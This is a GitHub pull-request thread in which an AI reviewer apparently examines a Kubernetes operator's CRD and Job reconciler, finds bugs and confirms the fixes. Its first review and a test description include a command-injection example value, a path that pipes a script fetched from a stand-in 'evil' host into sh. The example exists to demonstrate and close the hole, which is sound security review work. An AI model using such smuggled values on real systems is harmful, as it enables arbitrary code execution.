operator(P5a): ClosureJVMCampaign CRD + driver-Job reconciler

[ianp94]

Operator P5a — ClosureJVMCampaign CRD + driver-Job reconciler

The second CRD (DD-025): a bounded coverage-guided test run against an instrumented target. P5a scope = CRD + driver Job; the per-campaign dashboard is P5b, wiring an actual runner image + in-cluster e2e is the follow-up (needs the runner changes in #18).

CRD

ClosureJVMCampaign — targetRef + driver (grammar/corpus ConfigMaps, duration XOR iterations via a CEL rule, classesPath) + dashboard; status phase/driverJob/coveragePct/findings/times, with print columns.

Reconciler

• Gate on the target being Injected and having a status.coverageEndpoint (else Pending, requeue).
• Launch the driver Job, wired to: baseURL, the target's coverage endpoint, and a coverage-classes initContainer that copies the app's .class files out of the target's own image (DD-025 §7b) — so they always match what's running (the non-obvious gap the design surfaced).
• Aggregate on completion: read coverage %/findings from the driver pod's termination message (§7a — simpler than a sidecar+ConfigMap for the first cut; the runner writes its summary there via -Dclosurejvm.summary.out=/dev/termination-log).
• TargetGone terminal state if the referenced target vanishes mid-run (not silent connection-refused "findings").
• Owns(&Job{}) + owner-ref GC; --runner-image flag; batch/jobs + core/pods,configmaps RBAC.

Verification

• envtest 18/18 (5 new campaign specs): gate→Pending; launch+wire+owner-ref→Running; complete+read-summary→Completed with coverage/findings; TargetGone; CEL rejection of both-set.
• Depends on runner: time-boxed exit + end-of-run summary (P5a) #18 (runner duration/summary flags) for a real end-to-end run; the operator logic is fully envtest-verified here. The runner image + in-cluster e2e assert-non-zero-coverage is the next P5a slice.

🤖 Generated with Claude Code

https://claude.ai/code/session_01JuGqspSB9zpA5AyvHJBiDK

[ianp94]

@claude please review — operator P5a: the ClosureJVMCampaign CRD + driver-Job reconciler (DD-025). P5a scope is CRD + driver Job; per-campaign dashboard is P5b, and wiring a real runner image + in-cluster e2e is the follow-up.

Worth checking:

1. Reconcile correctness — gate on target Injected + coverageEndpoint; Job creation with the coverage-classes initContainer (copies from the TARGET's app image); reading the summary from the driver pod's terminationMessage; the phase machine (Pending/Running/Completed/Failed) + TargetGone. Any lifecycle gap or a case that mis-transitions?
2. buildDriverJob — the JAVA_TOOL_OPTIONS flags match the runner (baseUrl, coverage.jacoco, coverage.classes, summary.out, run.duration/iterations, invariants). Grammar ConfigMap mount + the classesPath extraction. Anything the driver Job needs that's missing?
3. RBAC — jobs create/delete, pods+configmaps get/list/watch; minimal + namespaced? (targets/deployments get are already granted by the target reconciler on the same manager.)
4. Terminal-state handling — a Completed/Failed campaign returns early (no restart); owner-ref GC of the Job.
5. The CEL duration-XOR-iterations rule.

Verified: envtest 18/18 (5 new campaign specs). Depends on the merged #18 runner flags.

[claude]

Claude finished @ianp94's task in 7m 51s —— View job

---

Review: operator P5a — ClosureJVMCampaign CRD + driver-Job reconciler

Todo list:

• Gather context (PR body, diff, DD-025 design doc)
• Read CRD types + CEL rule
• Read reconciler (closurejvmcampaign_controller.go)
• Read campaign_resources.go (buildDriverJob, initContainer, RBAC)
• Read envtest specs
• Post review feedback

Went through the reconciler, buildDriverJob, RBAC, and the CEL rule against docs/CAMPAIGN-DESIGN.md (DD-025). Solid overall structure — gate → launch → aggregate is clean and the termination-message read is a reasonable first cut. Three things worth fixing before this ships, roughly in priority order:

1. Command injection via spec.driver.classesPath (high)

campaign_resources.go:134:

Command: []string{"sh", "-c", "cp -r " + classesPath + "/. " + campaignClassesDir + "/"},

classesPath is spec.driver.classesPath — a free-form string with no CRD pattern validation (see the generated CRD, classesPath: {type: string}, no pattern) — spliced unquoted into a shell string. Anyone who can create a ClosureJVMCampaign in-namespace can set e.g. classesPath: "/tmp; curl evil/x|sh #" and get arbitrary command execution in the initContainer. This directly contradicts the design doc's own trust-boundary claim (§6): "Jobs run pinned images with config, not arbitrary user commands." Fix by execing cp without a shell (Command: []string{"cp", "-r", classesPath + "/.", campaignClassesDir + "/"}) or shell-quoting classesPath before interpolating. Worth a test asserting a classesPath with shell metacharacters can't inject.
Fix this →

2. grammarConfigMap without an explicit grammarKey produces a broken path (high — breaks the documented default)

campaign_resources.go:85-102. The type doc says grammarKey's default is "the sole key" of the ConfigMap, but nothing in the code actually resolves that sole key. When grammarKey is empty, items stays empty (all ConfigMap keys get projected under their original names, not the fixed grammar filename), yet the code still emits:

props = append(props, "-Dclosurejvm.grammar="+campaignGrammarDir+"/"+grammarFile) // grammarFile == ""

→ -Dclosurejvm.grammar=/closurejvm-grammar/, a directory path with a trailing slash and no filename. The runner's loadGrammar (runner/coverage/CoverageGuidedRun.java) treats that property as a file path, so in the documented common case (grammar ConfigMap with one key, no explicit grammarKey) the grammar silently never loads — falls back to plain seeds with no error. This path is also untested (closurejvmcampaign_controller_test.go never exercises GrammarConfigMap). Fix by either resolving the ConfigMap's sole key in the reconciler before calling buildDriverJob (erroring if it has >1 key and grammarKey wasn't set), or always projecting the chosen key to the fixed grammar filename via KeyToPath regardless of whether grammarKey was explicit.
Fix this →

3. Target dropping out of Injected (not deleted) while Running never reaches TargetGone (medium)

closurejvmcampaign_controller.go:79-108. Only the target-NotFound branch checks campaign.Status.Phase == Running to route to the TargetGone terminal state (lines 83-90) — matching your design doc's §7c intent and the existing test. But if the target still exists and merely drops out of Injected while the campaign is Running (line 94-97: target.Status.Phase != PhaseInjected), the code unconditionally calls r.pending(), regressing a Running campaign back to Pending — which §7c says should get the same TargetGone-style terminal handling ("deleted or drops out of Injected"). Worse: while gated in that Pending branch, the reconciler returns before ever inspecting the driver Job, so if the Job is still running (or already finished successfully) during this window, the campaign gets stuck reporting Pending/TargetNotInjected rather than either failing or eventually aggregating the completed run. Only the delete case is covered by a test; the revert-while-Running case isn't.
Fix this →

Minor / lower priority

• No Watches() mapping ClosureJVMTarget → Campaign. SetupWithManager (closurejvmcampaign_controller.go:243-248) only has Owns(&batchv1.Job{}); the target reconciler already has the pattern for this (Watches(&appsv1.Deployment{}, handler.EnqueueRequestsFromMapFunc(...))). Without it, a Pending campaign only re-checks target-injected status via the 15s poll (pending()'s RequeueAfter), not on the target's actual injection event. Not fatal (still converges), just slower/less idiomatic than the target controller's own pattern and short of §7c's stated intent.
• No spec-hash/idempotency on the driver Job. §7c says a campaign spec change should delete+recreate the Job ("a new run"). The reconciler only does Get-if-NotFound-Create; a spec edit after the Job exists is silently a no-op. Low impact today since Completed/Failed already short-circuit (no restart), but an edit made mid-Running won't do anything, silently.
• CEL rule (closurejvmcampaign_types.go:77, the quote-free size(...) form) is correct and covers both "both set" and "neither set" — only the "both set" case has a test; the "neither set" rejection isn't explicitly exercised but follows from the same rule.
• RBAC (item 3 in the ask) looks right: role.yaml grants are namespace-scoped via the existing RoleBinding-over-ClusterRole pattern (not a ClusterRoleBinding), and the verb sets (jobs: create/delete/get/list/watch, pods/configmaps: get/list/watch, no pods/log) match the design doc's §6 list exactly. No changes needed there.

No implementation changes made — this was requested and delivered as a review only.

[ianp94]

@claude re-review — all three fixed in fd29f84, each with a test (envtest 22/22):

1. Command injection — the classes initContainer now execs cp directly ([]string{"cp","-r",classesPath+"/.",...}) with no shell, so classesPath metacharacters are inert. Test asserts a /x; curl evil | sh # path produces no shell.
2. Grammar path — the reconciler now resolves the ConfigMap's sole key (Pending/GrammarUnresolved if ambiguous), and buildDriverJob always projects it to the fixed grammar filename the flag points at. Tests cover the sole-key and ambiguous cases.
3. Target-revert — a target dropping out of Injected while Running now fails TargetGone (not silent Pending), matching the deleted case. Test added.

Also added the Watches(&ClosureJVMTarget{}, campaignsForTarget) so a Pending campaign starts on the injection event, not just the poll. Logged spec-hash idempotency to TODO as a follow-up (low impact — terminal states already short-circuit). Confirm the injection fix closes the trust-boundary gap?

[claude]

Claude finished @ianp94's task in 1m 39s —— View job

---

Re-review: operator P5a — fixes in fd29f84

Todo list:

• Gather context (diff since prior review, commit fd29f84)
• Verify fix v0.5–v0.8: availability oracle, JVMTI agent, iteration context, namespace-free valve, live status UI + JPetStore demo #1: command injection in classesPath initContainer
• Verify fix v0.9: exploration metrics in the live status UI #2: grammar sole-key resolution + fixed filename projection
• Verify fix v0.10: coverage over HTTP, grammar-driven exploration, k8s demo, and a standalone dashboard #3: target-revert-while-Running → TargetGone
• Check the new Watches(&ClosureJVMTarget{}, ...) mapping
• Run envtest suite — blocked, see note below
• Post final review

All three findings from the first pass are fixed correctly, and each is paired with a test that actually exercises the failure mode (not just the happy path).

1. Command injection — fixed ✅

campaign_resources.go:132: Command: []string{"cp", "-r", classesPath + "/.", campaignClassesDir + "/"} — direct exec, no shell. Confirmed there's no sh -c left anywhere in buildDriverJob. The new test creates a campaign with classesPath = "/x; curl evil | sh #" and asserts ic.Command[0] == "cp", no "sh" element, and the metacharacters land inertly as a single cp argument ("/x; curl evil | sh #/."). This closes the trust-boundary gap from DD-025 §6 — a campaign author can no longer reach a shell from the initContainer, only cp's own argv, and cp doesn't interpret its path args.

One residual (not a security issue, not worth blocking on): a classesPath starting with - would be parsed as a cp flag rather than a path, since there's no -- separator before the operands. Cosmetic edge case, fine to leave — flagging for completeness only.

2. Grammar path — fixed ✅

closurejvmcampaign_controller.go:123-131 resolves the ConfigMap's sole key in the reconciler (resolveGrammarKey, lines 235-246) before calling buildDriverJob, erroring into Pending/GrammarUnresolved when the ConfigMap has more than one key and grammarKey wasn't set. buildDriverJob (campaign_resources.go:90-96) now always projects whatever key was resolved to the fixed grammar filename via KeyToPath, and the -Dclosurejvm.grammar= property always points at that fixed filename — so the property value is never a bare directory. Three new tests cover: sole-key resolution (asserts the KeyToPath and the JVM property), the ambiguous multi-key case (asserts Pending/GrammarUnresolved, no Job created), and this matches the type's own doc comment (GrammarKey string ... default the sole key, line 50).

3. Target-revert-while-Running — fixed ✅

closurejvmcampaign_controller.go:96-106: target.Status.Phase != PhaseInjected now checks campaign.Status.Phase == CampaignRunning and routes to r.fail(..., "TargetGone", ...), symmetric with the existing delete-mid-run branch above it. The new test flips an Injected target to Pending mid-run and confirms the campaign lands on Failed/TargetGone rather than regressing to Pending and going silent. This also resolves the "gets stuck without inspecting the Job" side effect noted in the first review, since the campaign no longer re-enters the pre-Job gate at all once terminal.

Watches addition

SetupWithManager (lines 293-301) now has Watches(&ClosureJVMTarget{}, handler.EnqueueRequestsFromMapFunc(r.campaignsForTarget)), mirroring the target controller's own Deployment-watch pattern. campaignsForTarget (lines 250-263) lists campaigns in the target's namespace and enqueues any whose spec.targetRef.name matches — correct and namespace-scoped. This was "minor/lower priority" in the first pass, but it's a clean addition and closes the gap noted there (Pending campaigns now start on the injection event, not just the 15s poll).

Verification note

I wasn't able to execute make test / go build in this sandbox — those commands require interactive approval that isn't available in this run, so envtest couldn't be re-run here to confirm the claimed 22/22. I verified the fixes by reading the diff (e215b2f..fd29f84) directly: the code changes are self-consistent, the new assertions in closurejvmcampaign_controller_test.go target exactly the three failure modes from the prior review (plus the ambiguous-grammar-key edge case), and nothing in the diff looks like it would fail to compile (no leftover unused imports/vars, handler package is imported for EnqueueRequestsFromMapFunc). If you'd like me to actually run the suite, this run's --allowedTools would need to permit go/make invocations.

Spec-hash idempotency follow-up

Logged to TODO.md as a follow-up is the right call — it's a real gap (a mid-Running spec edit is silently a no-op) but low blast radius since terminal states already short-circuit and P5a's stated scope is CRD + driver Job, not full lifecycle management.

Nothing else to fix — this addresses the trust-boundary gap and the other two findings. LGTM for P5a scope.

[ianp94]

Thanks — LGTM confirmed. Closed the residual too (-- separator so a classesPath starting with - can't be read as a cp flag), fd29f84→latest. envtest 22/22. Merging.